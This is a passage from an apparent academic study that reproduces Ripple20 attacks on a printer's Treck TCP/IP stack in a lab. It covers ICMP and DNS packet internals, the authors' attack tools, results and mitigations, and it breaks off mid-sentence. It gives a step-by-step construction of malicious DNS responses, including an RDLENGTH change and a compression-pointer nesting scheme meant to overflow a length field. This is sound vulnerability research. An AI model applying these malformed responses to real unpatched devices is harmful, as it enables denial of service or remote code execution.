The Ethernet frame illustrated in Figure 2.10 shows that the ICMP message consists basically
of two parts, the ICMP header of 8 bytes (it is specified in RFC 792, [44]) and the attached
example data from the problematic fragment. The ICMP message is placed in an IP packet
(with its IP header), which is then packed in Ethernet frame (with its Ethernet header). It is
important to note that the amount of data from the problematic fragment sent within the ICMP
message is correct, as the vulnerable trimming function was not called at all.
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Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:   d8 12 65 2c 58 a1 b0 5c da 6e 7a 8a 08 00 45 00
0010:   00 34 13 11 00 00 ff 01 d0 25 c0 a8 2b fb c0 a8
0020:   2b 46 03 02 fc fd 00 00 00 00 4f 00 00 a0 00 01
0030:   00 00 40 00 97 cb c0 a8 2b 46 c0 a8 2b fb 00 00
0040:   00 00

Ethernet header

IP header

ICMP message:
03 Destination unreachable 
02 Protocol unreachable
fc fd Checksum
00 00 00 00 Unused

Fragment content
attached for debugging
purposes

Figure 2.10 Ethernet frame containing ICMP message from the device.

2.5 Results and Their Interpretation

Our attempt at reproducing the attack on the CVE-2020-11898 did not have the same result as
that of the JSOF researchers described in their whitepaper published in June [27]. Instead of an
“information leak” we achieved a “denial of service”.

We are convinced, however, that the attack was performed correctly. First, we were able
to achieve the predicted result when using packet with the correct value in the Total Length
field. Second, the predicted results were achieved in other scenarios where the packet data were
intentionally malformed in order to verify that the sanity checks described in [27], pp. 7–8, are
actually carried out.

The only case showing unexpected behaviour is therefore the case where the information leak
vulnerability should have occurred. It is possible that (a) an attempt to correct the vulnerable
function had been carried out in this particular version of the TCP/IP stack in the device; or
(b) the vulnerable function exists in the device but another problem drops the device into an
error state before the information leak can occur.

We have tried to examine and identify the cause of the crash of the device (its error state)
but have not succeeded. We do not have any knowledge of the heap internals of the device.
We suspect either a possible heap overflow or an access to unmapped memory. It is, however,
significant that the error occurs regardless of the amount of data by which the Total Length
value is exceeded. The difference of one byte is all that is needed, whatever the overall packet
size is. Tweaking the value of the last byte (the one that overflows) did not lead to a different
behaviour either. We must conclude that our current state of knowledge of the system concerned
does not allow us to provide a more precise explanation.

2.6 Risk Mitigation Strategies

The list of risk mitigation strategies is based on the features of our particular IoT device, although
we try to assume a general approach.

1. The user should change the default credentials (this is a general advice not directly related to
this type of attack, we place it here due to its extreme importance). In our particular case,
however, the device allows the user to set a password in order to protect system settings only.
Network access to the device is not password protected.

2. The device should run the most up-to-date version of firmware.
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3. A vulnerable device should not directly face the Internet. A properly configured internal
network should be able to prevent such an attack from outside.

4. A vulnerable device should be connected to trusted networks only. The user must consider
who else can get access to the network to which the device is connected.

2.7 Behaviour After a Firmware Update
After performing and evaluating all the experiments, we performed an upgrade to the current
version of firmware issued after the discovery of the Ripple20 vulnerabilities (LAP1FN2020BR).
Then we repeated the experiments using our device with the new firmware.

The new firmware eliminated the incorrect behaviour of the device. The device now resists
the attack described in this chapter. Neither a denial of service nor an information leak occurs.
This fact can be seen as another evidence supporting our opinion that the CVE-2020-11898
vulnerability was actually present in the device before the firmware upgrade.





Chapter 3

Implementation of an Attack on
the CVE-2020-11901

Vulnerability

CVE-2020-11901 is the second vulnerability belonging to the Ripple20 family selected for our
experiment. It was described in detail in a paper published by JSOF Labs in July 2020 [16].
This vulnerability is actually a summary designation covering 4 specific sub-vulnerabilities.

CVE-2020-11901 is closely related to the processing of DNS messages by the Treck TCP/IP
stack. Before being able to exploit this vulnerability, any attacker has to overcome measures
protecting the communication of the device with a DNS server. It is not an impossible task and
one can find descriptions of successful attacks on various subsystems leading to such a result.
However, we consider it to be out of scope of the present study and therefore we just presume
that we are able to control DNS responses coming to the device from the outer world (DNS
server).

In this regard, it is also noteworthy that having the ability to control DNS responses coming
to the device means that we could also redirect the communication of the device to a server
under our control instead of the one it tries to connect to. By doing so, we could possibly obtain
an ability to plant our own code into the device, but such a task would be very difficult and is
also out of scope of the present study.

Once again, we would like to stress that we have no information about the version of Treck
TCP/IP stack used in our device and we do not know which parts of it were actually implemented.
Due to the specifics of the business model of Treck, Inc., it is therefore quite possible that this
particular vulnerability (or this group of vulnerabilities) is not present in our device at all. The
following chapter of our study therefore tries to find answers to this question as well.

3.1 Theoretical Background: Communication with DNS
Servers

As already mentioned above, Internet communication is transferred across the network using
a system of unique numerical addresses (IP addresses). These addresses of uniform length (32 bits
in case of IPv4 addresses, 128 bits in case of IPv6 addresses) are perfectly suited for use with
digital machines. For an average human user, however, names consisting mainly of letters (as
well as numbers and a few other characters) are easier to use. To overcome this discrepancy,
a Domain Name System (DNS) was introduced.

29
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DNS can be described as an interface that makes it possible to use human-readable domain
names instead of numerical IP addresses. The entire system, which dates back to 1987 (see [45],
[46]), consists basically of domain name servers and a set of rules and protocols governing the
communication with them.

Figure 3.1 presents a simple illustration of the basic principle of operation of the Domain
Name System. When the user’s machine needs to contact a server with a certain domain name,
it sends a DNS query to a DNS server. The DNS server finds the necessary data (it is not
necessary to deal with details and specifics of the respective process here) and a DNS response is
sent to the user containing the requested IP address (plus, optionally, some other information).

  

DNS ServerUser hp.comDNS Server

What is the IP address of hp.com?

It is 15.73.192.108

Send me data, 15.73.192.108

The requested data...

F
low

 of t im
e

Figure 3.1 Domain Name System: basic principle of operation.

The user’s machine or device then contacts the target server using the information obtained.
To accelerate the process and decrease traffic load on the network, the user’s machine can store IP
addresses obtained from a DNS server, but usually only for a limited period because IP addresses
may change over time.

For the purposes of our experiments it is necessary to understand the “language” used by the
devices or computers in the system, i.e. the structure of DNS messages.

3.1.1 DNS Query
DNS query is that part of communication that originates from the user’s system, device, etc.
and is sent to the DNS server. A complete specification is again out of scope of this study and
therefore only the query types encountered in our experiments will be dealt with below.

The general format of each DNS message is defined as follows: Header, Question, Answer,
Authority, Additional. [46, p. 25]

In DNS queries, the Answer section is not used. Furthermore, the Authority and Additional
sections are irrelevant for the present study and will be therefore not dealt with here. The Header
and Question sections are the only parts of DNS queries relevant for our experiments.

Figure 3.2 shows an example of a packet containing a DNS query captured by Wireshark
during our experiments with the device.

Ethernet header, IP header and UDP header have been already sufficiently described in
Sections 2.1.2, 2.1.3, and 2.1.4. We are interested in the UDP payload, which is the actual DNS
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Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:    d8 12 65 2c 58 a1 b0 5c da 6e 70 8a 08 00 45 00
0010:    00 42 00 01 00 00 40 11 a2 18 c0 a8 2b fb c0 a8
0020:    2b 46 cf d4 00 35 00 2e b2 ad f6 d2 01 00 00 01
0030:    00 00 00 00 00 00 07 78 6d 70 70 30 30 38 08 68
0040:    70 65 70 72 69 6e 74 03 63 6f 6d 00 00 01 00 01

Ethernet Frame Header (0000-000d)
d8 12 65 2c 58 a1 Destination
                  MAC address
b0 5c da 6e 70 8a Source
                  MAC address
08 00 Ethertype value (IPv4)

IP Header (000e-0021)
45 IP version (4) and IHL (5, i.e. 20 bytes)
00 Service type
00 42 Total length (66 bytes)
00 01 Packet ID (0x0001)
00 00 Flags
40 Time to live (64 s)
11 Protocol (17 = UDP)
a2 18 Header checksum
c0 a8 2b fb Source IP address 192.168.43.251
c0 a8 2b 46 Destination 
            IP address 192.168.43.70

UDP Header (0022-0029)
cf d4 Source port number (53204)
00 35 Destination port number (53)
00 2e UDP packet length (46 bytes)
b2 ad Checksum

DNS Message (002a-004f)
f6 d2 01 00 00 01 00 00 00 00 00 00 Header
07 78 6d 70 70 30 30 38
08 68 70 65 70 72 69 6e 74
03 63 6f 6d 00               Question
00 01 00 01 }

Figure 3.2 Example of an Ethernet frame containing UDP datagram with a DNS query.

message. It has its own structure that consists of header and question. It will be described in
detail in the following text and in Figure 3.4.

From here on, we will be displaying various DNS messages without the Ethernet frame header,
IP header and the UDP header. First, this information is not relevant for further analysis, and
second, DNS messages use their own internal addressing system which assigns offset 0 to the first
byte of the DNS message and we would like to adhere to that representation.

The DNS query message extracted from the above example is illustrated in Figure 3.4. The
header consists of 12 bytes and its structure is uniform for all DNS messages, both queries and
responses.

The rest of the payload (in our case 26 bytes) is the question. It contains QNAME, the
queried domain name encoded using the following simple system. The name is “represented as
a sequence of labels, where each label consists of a length octet followed by that number of octets.
The domain name terminates with the zero length octet for the null label of the root. Note that
this field may be an odd number of octets; no padding is used.” [46, p. 28]. Figure 3.3 shows the
encoding of domain name in the question specified in our particular example.

07 78 6d 70 70 30 30 38

x m p p 0 0 8

08 68 70 65 70 72 69 6e 74

h p e p r i n t

03 63 6f 6d 00

c o m

Each label 
starts with a 
byte indicating 
its length in 
bytes

0x00 is the 
terminating character

Individual ASCII characters
Byte values (hexadecimal)

07 78 6d 70 70 30 30 38 
08 68 70 65 70 72 69 6e 74
03 63 6f 6d 00

Figure 3.3 Encoding of domain names in DNS messages.

The name is followed by two-octet QTYPE code (here: 00 01) and two-octet QCLASS code
(here: 00 01). Of these two codes, the former is important for us, as it defines the type of query.
In our experiments, we encountered two types of queries, viz. type 1 and 28. Type 1, or A-type
query, is a request for an IPv4 address of the respective domain name. On the other hand type
28, or AAAA-type query, is a request for an IPv6 address.
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Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:    f6 d2 01 00 00 01 00 00 00 00 00 00 07 78 6d 70
0010:    70 30 30 38 08 68 70 65 70 72 69 6e 74 03 63 6f
0020:    6d 00 00 01 00 01

Header (0000-000b)
f6 d2 Message ID
01 00 Flags: is query,
      recursion desired
00 01 Question count (1)
00 00 Answer count (0)
00 00 Authority record
      count (0)
00 00 Additional record
      Count (0)

Question (000c-0025)
07 78 6d 70 70 30 30 38 xmpp008
08 68 70 65 70 72 69 6e 74 hpeprint
03 63 6f 6d com
00 Terminating char
00 01 Question type, 1 = type A
00 01 Question class, 1 = internet address

Figure 3.4 Example of a DNS query message.

3.1.2 DNS Response
When the DNS server processes the query and finds the necessary data in its database, it sends
a DNS Response to the sender of the original message. The response to the query shown in
Figure 3.4 can be seen in Figure 3.5.

  

Address  Byte values (hexadecimal)
--------------------------------------------------------
0000:    f6 d2 81 80 00 01 00 02 00 00 00 00 07 78 6d 70
0010:    70 30 30 38 08 68 70 65 70 72 69 6e 74 03 63 6f
0020:    6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 06 27
0030:    00 12 07 78 6d 70 70 30 30 38 04 67 6c 62 31 02
0040:    68 70 c0 1d c0 32 00 01 00 01 00 00 00 1e 00 04
0050:    0f 48 23 36

Header (0000-000b)
f6 d2 Message ID
81 80 Flags: is response,
      recursion desired,
      recursion available
00 01 Question count (1)
00 02 Answer count (2)
00 00 Authority record
      count (0)
00 00 Additional record
      Count (0)

Question (000c-0025)
07 78 6d 70 70 30 30 38 xmpp008
08 68 70 65 70 72 69 6e 74 hpeprint
03 63 6f 6d com
00 Terminating char
00 01 Question type, 1 = type A
00 01 Question class, 1 = internet address

Answer 1 (0026-0043)
c0 0c Pointer to offset 0c
00 05 Answer type, 5 = CNAME
00 01 Answer class, 1 = internet address
00 00 06 27 TTL (time to live), 1575 s
00 12 RD length, 18 chars
07 78 6d 70 70 30 30 38 xmpp008
04 67 6c 62 31 glb1
02 68 70 hp
c0 1d Pointer to offset 1d

Answer 2 (0044-0053)
c0 32 Pointer to offset 32
00 01 Answer type, 1 = type A
00 01 Answer class, 1 = internet address
00 00 00 1e TTL (time to live), 30 s
00 04 RD length, 4 chars
0f 48 23 36 IP address 15.72.35.54

Figure 3.5 Byte-to-byte analysis of DNS response to type A query for xmpp008.hpeprint.com.

The DNS response header does not differ much from that of the DNS query but certain values
are different here. Flags, which are represented by the two octets that follow the message ID
(i.e. the two bytes starting at an offset of 0x02), have the value of 0x8180 or b1000000110000000.
Most importantly, the first 1 denotes that the message is answer. The two other ones have the
meaning “recursion desired” and “recursion available” (the meaning of these flags in actually not
important for our experiments; for more information see [45], p. 26). Furthermore, the answer
count should not be zero in a DNS response (in our case, the count is 2).

The header is then followed by two sections: a question section and an answer section. In
this particular example, the answer section contains two answers.
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The question section is an exact copy of the question from the DNS query to which the
response belongs. Our experiments have shown that if the content of the question section differs
from that of the DNS query, the device rejects the DNS response and does not process it. The
same applies to responses with message ID different from that of the DNS query. Message ID
and the copy of the original query are thus used as primary security measures ensuring that
the received response is an actual response from a DNS server and not a spoofed response from
attacker.

The question section thus starts at offset 0x0c (the header has 12 bytes, starting from offset
0x00) and its length is 26 bytes (in this particular case).

The question section is followed by the answer section. According to RFC 1035 [46, p. 29], an
answer has the following format: NAME, TYPE, CLASS, TTL, RDLENGTH, RDATA. There
are several possible types of answers, of which the following types are relevant for our experiments:
type 1 (IPv4 host address), type 28 (IPv6 host address), and type 5 (CNAME).

Answer types 1 and 28 represent a straightforward reply to the question, i.e. they provide
the requesting machine with the IPv4 or IPv6 host address associated with the domain name
specified in the question section.

The type 5 answers work in a slightly different manner. They specify a canonical name
(or CNAME) belonging to the name contained in the question section. This requires a brief
explanation. According to RFC 1034: “In existing systems, hosts and other resources often have
several names that identify the same resource. [...] Most of these systems have a notion that one
of the equivalent set of names is the canonical or primary name and all others are aliases.” [45,
pp. 14–15]. The type 5 answer thus informs the requesting system that the queried name is an
alias to another (canonical) name. A type 1 answer containing the IP address of that canonical
name often follows in another answer within the same response (not necessarily).

Taking into account the frequency of DNS messages and the volume of the related traffic, it
is clear that the authors of the system tried to make messages as short as possible to reduce their
potential impact on network load to minimum. For this purpose, a simple compression scheme
has been introduced. RFC 1035 [46, p. 30] describes it as follows: “In this scheme, an entire
domain name or a list of labels at the end of a domain name is replaced with a pointer to a prior
occurance of the same name.”

The pointer is a two-byte sequence starting (at the bit level) with two ones. No label byte
(i.e. a byte that could be otherwise expected here) can start with two ones because of length
restriction on labels (a label cannot have more than 63 bytes). A typical pointer is thus a pair
of bytes, of which the first is 0xc0 (or b11000000) and the second one indicates the offset from
the beginning of the DNS message (offset value of 0x00 indicates the first byte of the header).
The use of the compression scheme can be also seen in Figure 3.5 in which pointer bytes are
connected with the respective targets using black dotted lines.

RFC 1035 [46, p. 30] concludes: “The compression scheme allows a domain name in a mes-
sage to be represented as either: a sequence of labels ending in a zero octet; a pointer; a sequence
of labels ending with a pointer” (Note: Interpunction added by us).

All these options are commonly used in actual DNS queries, often all of them in a single
message.

It should be noted, however, that the compression scheme itself presents a threat in terms of
cybersecurity. Its correct implementation is far from being simple and thus its positive impact
on saved bandwidth might not be worth the risk. In a recent study on the NAME:WRECK
family of vulnerabilities, the authors express the following opinion: “It is also interesting that
simply not implementing support for compression (as seen for instance in lwIP) is an effective
mitigation against this type of vulnerability. Since the bandwidth saving associated to this type
of compression is almost meaningless in a world of fast connectivity, we believe that support for
DNS message compression currently introduces more problems than it solves.” [25, p. 26].
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3.2 Detailed Description of the Vulnerability
This vulnerability was announced, like all the other Ripple20 vulnerabilities, by JSOF Labs
in June 2020. Unlike most other Ripple20 vulnerabilities, it was later described in detail in
a separate whitepaper [16].

The National Vulnerability Database provides the following information about it [47]:

Current description: The Treck TCP/IP stack before 6.0.1.66 allows Remote Code execution
via a single invalid DNS response.

Severity: Base score: 9.0 Critical

Weakness enumeration: CWE 20, Improper Input Validation

JSOF researchers studied the source code of the TCP/IP Stack by Treck, Inc., in several ver-
sions contained in multiple specific devices using reverse engineering methods. According to their
findings, some versions of the Treck TCP/IP stack show the vulnerability which they describe
on page 2 of their whitepaper: “CVE-2020-11901 is a single name for several critical client-side
vulnerabilities in the DNS resolver of the Treck TCP/IP stack. If successfully exploited, they
allow remote code execution for an unauthenticated attacker that is able to respond to a DNS
query generated from an affected device. [...] The vulnerabilities mostly stem from an incorrect
DNS label length calculation. One vulnerability is triggered by specifying small RDLENGTH
value, and another leverages DNS message compression scheme in order to achieve an integer
overflow.” [16]

The four vulnerabilities covered by the CVE-2020-11901 designation are (numbering and
short descriptions by [16], pp. 7–14):

Vulnerability No. 1: Bad RDLENGTH Leads to Heap Overflow

Vulnerability No. 2: From Integer Overflow to Heap Overflow

Vulnerability No. 3: Read Out-of-Bounds

Vulnerability No. 4: Predictable Transaction ID

3.2.1 CVE-2020-11901 Vulnerability No. 1
The RDLENGTH value, which can be fully controlled by an attacker, is used for calculation of
a buffer used for storing the domain name of an MX record [16, p. 10] or a CNAME record, as
explained on page 14 in the same whitepaper. “An attacker can specify a small RDLENGTH
value, causing the length calculation to stop prematurely. This results in tfDnsExpLabelLength
returning small length number. As explained earlier, this leads to heap-based buffer overflow
vulnerability. This vulnerability only exists in newer versions of the Treck TCP/IP stack, and
affects the latest version at the time of disclosure. We do not know the exact version when this
vulnerability was introduced.” [16, p. 10]

Improper input validation is the root cause of this vulnerability where input means DNS
response received from a DNS server.

3.2.2 CVE-2020-11901 Vulnerability No. 2
The length of a domain name stored in a MX record or a CNAME record is—at least in some
versions of the Treck TCP/IP stack—stored in a 16 bit variable of unsigned short type (possible
values from 0 to 65535). UDP packets containing DNS responses up to the size of 1460 bytes
are accepted by the Treck’s resolver of DNS messages. If one can place a name longer than
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65535 characters in this limited space, “The result is heap-based buffer overflow vulnerability:
due to the integer overflow, tfDnsExpLabelLength returns a labelLength of small size. Based on
this size, a buffer is allocated on the heap. tfDnsLabelToAscii is then asked to copy the encoded
name as ASCII, overflowing the buffer just-allocated with the payload at the beginning of the MX
hostname.” [16, p. 13]

Moreover, exploit of this vulnerability is possible due to other problems. First, unlike the
maximum label length in a domain name (0x3f or 63 characters), the maximum length of the
entire domain name (255 characters) is not enforced. Second, the system does not validate char-
acters inside of domain name labels (only alphanumeric characters and “-” should be allowed).
[16, p. 10]

The method of overflowing the unsigned short length variable in the limited space provided
by UDP packet is described in detail in Section 3.3.3.4.

Improper input validation is the root cause of this vulnerability where input is a DNS response
received from a DNS server.

3.2.3 CVE-2020-11901 Vulnerability No. 3
In older versions of the Treck TCP/IP stack, there was another vulnerability, read out-of-bounds.
As we do not know anything about the version of the TCP/IP stack used in our device, we include
this vulnerability in our experiments as well in order not to miss anything significant.

This vulnerability stems from incorrect parsing of the MX (or CNAME) response section.
The problem is that “there are no checks on the packet buffer. In particular, there’s no end-
pointer being calculated and passed to tfDnsExpLabelLength.” [16, p. 13] The function does not
have any bound checks. “Instead, it will iterate over the length bytes until a null-byte is reached,
possibly crossing buffer bounds. This issue could result in a denial-of-service vulnerability, if, for
instance, the function reads from an unmapped page while iterating over the length bytes. More
interestingly, the issue could result in an information leakage vulnerability.” [16, p. 13]

Interestingly, vulnerability No. 1 is actually a bad fix of this vulnerability No. 3 [16, p. 13].
Their simultaneous occurrence in a device should therefore be impossible.

Improper input validation is the root cause of this vulnerability where input is a DNS response
received from a DNS server.

3.2.4 CVE-2020-11901 Vulnerability No. 4
The last vulnerability, predictable transaction ID, is characterized in the JSOF’s second whitepa-
per as follows: “Another vulnerability, only seen in earlier versions of the network stack, is that
the DNS transaction ID is incremented serially, and starts at 0, making it easily guessable. This
means that the attacker might not need to execute complex man-in-the-middle attack in order to
find the value of the transaction ID.” [16, p. 14]

As mentioned already above, message ID is actually a security measure that should help to
ensure that spoofing of DNS responses is not an easy task. If it is predictable it becomes virtually
useless since the necessary matching of domain name and host address can be performed using
the query and its copy in responses.

The root cause of this vulnerability is the use of insufficiently random values.

3.3 Getting Everything Ready

In the following sections, we deal with basic hardware setup, software tools used for the attack,
construction of special DNS responses, and methods used in evaluation of results obtained.
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3.3.1 Hardware Settings
The experiments described below utilize the same basic setup as described in Section 1.8. The
general setup, however, had to be supplemented by some minor additions needed in order to
obtain access to the DNS communication of the device.

First of all, we decided to prohibit the use of IPv6 protocol. This decision was arbitrary and
it was based on the assumption that the presence of errors in software components handling the
“old” IPv4 protocol could be more likely than in the case of IPv6 protocol. The required settings
were carried out through the device’s web-based interface and can be seen in Figure 3.6.

Figure 3.6 Device network protocol settings.

It is worth mentioning, however, that one of our experiments not documented in this study
proved that even when the settings “Enable both IPv4 and IPv6” is selected, the device is not
able to contact its server if it does not get a correct result for its IPv4 DNS query.

If we can say that the above-described change was an arbitrary decision then the other
modification in settings was a sheer necessity. By changing the settings from “Automatic DNS
Server” to “Manual DNS Server” and by filling in IP addresses for both the primary and secondary
nameservers, we were able to achieve the state when all the DNS messages from the device are
routed to our attacking computer. (The IP address typed in the Manual Alternate DNS Server
field is actually not used by any device in our network.)

Figure 3.7 Device DNS server settings.

It is clear that a potential attacker “in wild” could hardly have such a comfortable setting for
a DNS attack and would have to use other methods to achieve the man-in-the-middle position
or to poison DNS cache. Taking into account the scope of the present study, however, we are
convinced that such a simplification is acceptable.

And last but not least, the firewall settings on the attacking computer had to be modified in
order not to block the incoming DNS messages from the device.
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3.3.2 Software Tools Used for Attacks
Our software utilities used to perform the attack consist of one python script (11901.py) and
one C++ program (createpacket.cpp). Although the needed functionality could be certainly
ensured by one script or program only, we have come to this arrangement as a result of gradual
development and it has proved to be suitable for our purposes and therefore we have retained it.

The C++ program takes care of the creation of responses to be used in the course of attacks.
It contains a number of very long lists of values defining individual bytes of many types of
responses used in our experiments and it is actually better for us not to place all this obtrusive
material in the short and relatively well-arranged python script.

The entire system operates in this way: The device is switched on and the python script
is launched. The script creates sockets for communication with the device (listening on port
53 which is used by DNS servers) and with an actual DNS server outside of the local network.
When the device sends a DNS query, it is passed to our script. The script either (a) forwards the
query to the actual DNS server, collects its reply and sends it back to the device, or (b) extracts
the DNS query ID, passes it to the createpacket program as a command line argument, collects
the created response which was saved by createpacket on the hard drive and sends it as a DNS
message to the device. The choice of the course of action depends on the command line arguments
selected when launching the script as well as on the parameters of the DNS query (some queries
always get correct replies).

The command line arguments used with the python script 11901.py are: (none), allOK, attack,
noreply, wrongip, invalidresponse.

If no command line argument is specified or if the allOK argument is specified, the script
works as a simple packet forwarder between the device and the actual DNS server.

If the attack command line argument is specified, it may be followed by a number specifying
the type of response that is to be obtained from the createpacket program. Many options were
used in our experiments but in the end only three of them are relevant: 1, 2, and 3. If no number
is specified, value 1 is used (default value).

Command line arguments noreply, wrongip and invalidresponse do exactly what they suggest
(in relation to one particular query only). They were used to simulate the respective comparative
scenarios. While the noreply option causes the program not to reply to certain queries at all, the
wrongip and invalidresponse options function virtually identically as the attack option, i.e. they
get a specific malformed response from createpacket and send it to the device.

In order to allow a comfortable monitoring, the python script prints out information on
received DNS queries and the respective replies. These console outputs are used in the present
study as illustrations of the device behaviour.

Both our custom-made tools, i.e. 11901.py and createpacket.cpp (and the compiled version
createpacket) are included in the attached data medium.

Wireshark was used to monitor and check that the script really does what it should do.

3.3.3 Construction of Special Responses
This subsection presents methods and specifics of construction of DNS response packets used in
our experiments either for the attack itself or for triggering various comparative scenarios.

A detailed description of structure of DNS reply was already provided in Section 3.1.2. To
achieve maximum flexibility, we have decided not to utilize any specific utility for creating own
“tweaked” DNS replies and to rely instead on byte-to-byte construction of these responses using
our own tool, createpacket.cpp introduced in the previous Section 3.3.2.

As the basis, we use DNS response data captured by Wireshark during a communication with
a regular DNS server after a query sent by the python script 11901.py. Most of our modifications
were made on the basis of the DNS server response to A-type query for xmpp008.hpeprint.com.
A detailed overview of this original data can be seen in Figure 3.5.
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The byte form of this DNS response (with message ID 0xffff) is available on the attached
data medium as file packet000.bin.

3.3.3.1 DNS Response Used in Invalid DNS Response Scenario
The DNS response used to trigger the invalid DNS response scenario (see below in Section 3.3.4.3)
is identical to the correct DNS response described above, except for one byte in the question
section. The byte at offset 0x0c (length byte with the value of 0x07) was changed to 0x06. This
creates two problems: First, only six characters of the label are read and the next byte is taken
as the next length byte. Its value of 0x38 means that the parser is brought somewhere near the
end of the question part and generates an error. The second problem is that the question section
is not identical to that of the query sent by the device which also results in response rejection.
We do not know which mechanism is used first but the result is what we need.

The changed byte can be seen in Figure 3.8.

  

Question (000c-0025)
07 78 6d 70 70 30 30 38 xmpp008
08 68 70 65 70 72 69 6e 74 hpeprint
03 63 6f 6d com
00 Terminating char
00 01 Question type, 1 = type A
00 01 Question class, 1 = internet address

06

Figure 3.8 The byte changed in the DNS response triggering the invalid response scenario.

The byte form of this DNS response (with message ID 0xffff) is available on the attached
data medium as the binary file packet005.bin.

3.3.3.2 DNS Response Used in Wrong IP Scenario
The construction of the DNS response used to trigger the wrong IP scenario was also straight-
forward. All that we had to do was a simple change in the last four bytes that contain the IPv4
address from the A-type record. In our case, we changed the order of the first two values in the
IP address as follows: correct address = 0x0f482336, wrong address = 0x480f2336.

Figure 3.9 shows how and which bytes were modified.

  
48 0f

Answer 2 (0044-0053)
c0 32 Pointer to offset 32
00 01 Answer type, 1 = type A
00 01 Answer class, 1 = internet address
00 00 00 1e TTL (time to live), 30 s
00 04 RD length, 4 chars
0f 48 23 36 IP address 15.72.35.54

Figure 3.9 The bytes changed in the DNS response triggering the wrong IP scenario.

The byte form of this DNS response (with message ID 0xffff) is available on the attached
data medium as the binary file packet006.bin.

3.3.3.3 DNS Response Used for Attack on Vulnerability No. 1
CVE-2020-11901 vulnerability No. 1 stems from incorrect handling of the RDLENGTH value
present in the CNAME question. Attempts to exploit this vulnerability start with creating a DNS
response in which the RDLENGTH value is shorter than the actual length of the domain name.
This could possibly lead to heap overflow. We have therefore prepared a DNS response with an
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incorrect RDLENGTH value which is set by the byte at offset 0x31. RDLENGTH was 0x12 in
the original response, we changed the value to 0x02 for our purposes. Figure 3.10 illustrates this
change.

  

02

Answer 1 (0026-0043)
c0 0c Pointer to offset 0c
00 05 Answer type, 5 = CNAME
00 01 Answer class, 1 = internet address
00 00 06 27 TTL (time to live), 1575 s
00 12 RD length, 18 chars
07 78 6d 70 70 30 30 38 xmpp008
04 67 6c 62 31 glb1
02 68 70 hp
c0 1d Pointer to offset 1c

Figure 3.10 The byte changed in the DNS response used for attack on vulnerability No. 1.

After obtaining preliminary results, we have also decided to create a DNS response with
RDLENGTH value higher than the correct one, specifically 0x30 instead of 0x12 (value of the
byte at offset 0x31), and perform our experiment with this DNS response too. The byte forms of
both these DNS responses (with message ID 0xffff) are available on the attached data medium as
the binary files packet001.bin (with RDLENGTH 0x02) and packet002.bin (with RDLENGTH
0x30).

3.3.3.4 DNS Response Used for Attack on Vulnerability No. 2
According to JSOF researchers [16, p. 10], the Treck DNS resolver has a size limitation on
UDP packets containing DNS responses of 1460 bytes. Taking into account this limitation, the
construction of a response that should overflow the unsigned short maximum value seems to be
impossible. Surprisingly, it can be done. The principle, which can be described as “compression
pointer nesting”, is dealt with in detail in [16, pp. 11–13].

Figure 3.11 DNS compression pointer nesting (image source: [16, p. 12]).

Figure 3.11 illustrates the main idea and basic principle. It shows a matrix of 16 × 8 bytes.
Let us assume that a pointer somewhere below this matrix points to the byte in the upper right
corner (byte at an offset of 0x0f, marked as “start”). 0x0f is then considered a length byte,
its value is 0x0f. The label is therefore 15 bytes long and thus the next length byte we read
is at offset 0x1f (the one that is below the starting byte). We continue in the same manner
(successfully skipping the 0x00 value at an offset of 0x48, which would otherwise terminate the
string) until we reach the byte at an offset of 0x6f (red cell in the last column with the value of
0x0e, marked as “branch”). Based on the value of this length byte, the following label is only
14 bytes long and we land on the byte at offset 0x7e. This byte is not a length byte but pointer
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indicator and the next byte (offset 0x7f, or the byte in the bottom right corner) tells us where
to go. It points to the byte at offset 0x0e, i.e. first line, last but one byte. We have covered one
column and collected already 111 bytes of domain name length (16× 6 + 15).

Now the action goes on in exactly the same manner as in the previous round. After reaching
the last line, we get to another pointer indicator and the new address pointed to. We get again to
the first line, one byte left from the previous starting position. (We collected 110 bytes, totalling
to 221.)

After some time, “branch” bytes have to go one line up, which is the result of the fact that
the pointer structure has the width of two bytes. When we finally go through all the columns,
we end up in the first one where the terminating character at offset 0x30 terminates the entire
domain name. By then, we have collected 860 + 374 + 157 + 63 + 48 = 1502 bytes in total.
(Length bytes are included in the calculation, we can visualize them as “dots” dividing domain
name parts. The only difference is that the number of dots is equal to the number of labels,
i.e. you can imagine that each domain name has a dot in its end.)

It is important that this method follows the principle that in a DNS message, any label
pointed to by a pointer precedes the position from which it is pointed to. It is also necessary to
stress that this idea works only due to the fact that the system does not validate characters in
labels (e.g. the most often used character in the full-size matrix is 0x3f, which is “?”, a character
that cannot be present in a domain name).

We have seen that using a simple matrix of 128 bytes we can construct a domain name of 1502
characters. This is not enough to overflow unsigned short but we have not consumed much of
the available space yet. If the matrix has 64 columns instead of 16 (64 columns is the maximum
number, as there is a length restriction on label length which is actually enforced) and when we
add some additional lines (we need 20 in total) we will be able to exceed the value of 65535. And
the space consumed for the matrix part of the response is 64× 20 = 1280 bytes only.

This name is then placed in the DNS response in such a manner that it can be accepted during
the normal parsing of the DNS response and—at the same time—that it can be referenced from
those sections of DNS response that follow. According to JSOF researchers, the most suitable
place is therefore the question section which precedes all the answer sections. [16, p. 13]

We can place more than one question in a DNS response, although it is very uncommon and
some systems even do not support this feature: “The idea that only a single question is allowed
is sufficiently entrenched that many DNS servers will simply return an error (or fail to response
at all) if they receive a query with a question count (QDCOUNT) of more than one.” [48]

The Treck TCP/IP stack, however, apparently supports it (at least the version exploited
in the JSOF’s second whitepaper). We will therefore construct our malicious DNS response as
follows:

1. We construct the matrix-like domain name similarly to the Figure 3.11, but with 64 columns
and 20 lines. Based on the sum of bytes of the DNS message header and the first question,
we determine the offset value of the byte in the upper right corner (the “start” byte). In our
case, the value was 0x66. From this value, we subtract one and then we place the result in
the bottom right corner. Other values used in pointers are then calculated on the basis of
this value (going from right to left, 1 is always subtracted).

2. We use the original header (only the question count is now 2) and question section from the
correct DNS response.

3. After the end of the first question, we place one byte with the value of 0x3f (it is interpreted
as a length byte and ensures that we skip to the “start” offset after the first label).

4. After this one byte, the entire 64× 20 matrix domain name is placed.

5. The name is followed by four bytes denoting QTYPE and QCLASS (0x0001 and 0x0001).
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6. The CNAME type answer follows. For alias name it uses a pointer to the first question (0xc0
0x0c), for canonical name the “start” byte in our matrix domain name is used (0xc0 0x66).

7. A-type answer follows. It can point either to the canonical name or to 0xc0 0x66.

Figure 3.12 presents a basic overview of where is the malicious payload put in the DNS
response. The header is yellow, the first question light green (black font), the second question is
